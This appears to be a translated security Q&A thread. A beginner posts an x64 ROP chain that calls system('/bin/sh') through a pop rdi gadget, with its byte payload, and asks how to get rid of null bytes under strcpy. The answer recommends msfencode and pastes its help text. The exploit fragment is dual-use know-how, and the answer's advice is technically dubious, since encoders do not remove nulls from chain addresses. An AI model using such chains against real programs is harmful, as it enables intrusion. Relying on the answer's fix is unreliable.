Cadena ROP en x64, deshacerse de los nulos

3

Tengo esta cadena ROP para la arquitectura x64:

0x0000000000400b60: pop rdi; ret; 
0x482cf5 0x68732f6e69622f ('/bin/sh')
0x401550 <system>

En la carga útil:

\x60\x0b\x00\x00\x00\x00\x00\xf5\x2c\x48\x50\x15\x40

¿Cómo debo deshacerme de 0? Dado que mi búfer está saturado con strcpy y se detiene en 0.

¿Alguna respuesta precisa o consejos generales?

Mi esfuerzo fue construir esta cadena ROP. Desafortunadamente, soy un principiante, así que me quedé atascado en este punto.

Gracias,

    
pregunta android_dev 10.03.2016 - 18:14
fuente

1 respuesta

1

Use msfencode: enlace

Los 0 de los que estás hablando son bytes nulos , que son esencialmente terminadores. Cuando el programa encuentra un byte nulo, el programa termina. Usando msgencode puede usar la opción -b para evitar el uso de bytes nulos.

Además, es posible que desee evitar otros caracteres, como por ejemplo 0x0A y 0x0D, que son saltos de línea.

root@kali:~# msfencode -h

    Usage: /usr/bin/msfencode >options>

OPTIONS:

    -a >opt>  The architecture to encode as
    -b >opt>  The list of characters to avoid: '\x00\xff'
    -c >opt>  The number of times to encode the data
    -d >opt>  Specify the directory in which to look for EXE templates
    -e >opt>  The encoder to use
    -h        Help banner
    -i >opt>  Encode the contents of the supplied file path
    -k        Keep template working; run payload in new thread (use with -x)
    -l        List available encoders
    -m >opt>  Specifies an additional module search path
    -n        Dump encoder information
    -o >opt>  The output file
    -p >opt>  The platform to encode for
    -s >opt>  The maximum size of the encoded data
    -t >opt>  The output format: bash,c,csharp,dw,dword,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,dll,elf,exe,exe-only,exe-service,exe-small,loop-vbs,macho,msi,msi-nouac,psh,psh-net,psh-reflection,vba,vba-exe,vbs,war
    -v        Increase verbosity
    -x >opt>  Specify an alternate executable template
    
respondido por el Jeroen - IT Nerdbox 10.03.2016 - 18:44
fuente

Lea otras preguntas en las etiquetas